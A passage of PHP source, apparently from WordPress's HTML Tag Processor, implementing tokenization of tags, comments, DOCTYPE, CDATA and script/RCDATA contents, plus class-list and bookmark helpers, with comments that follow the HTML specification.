	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
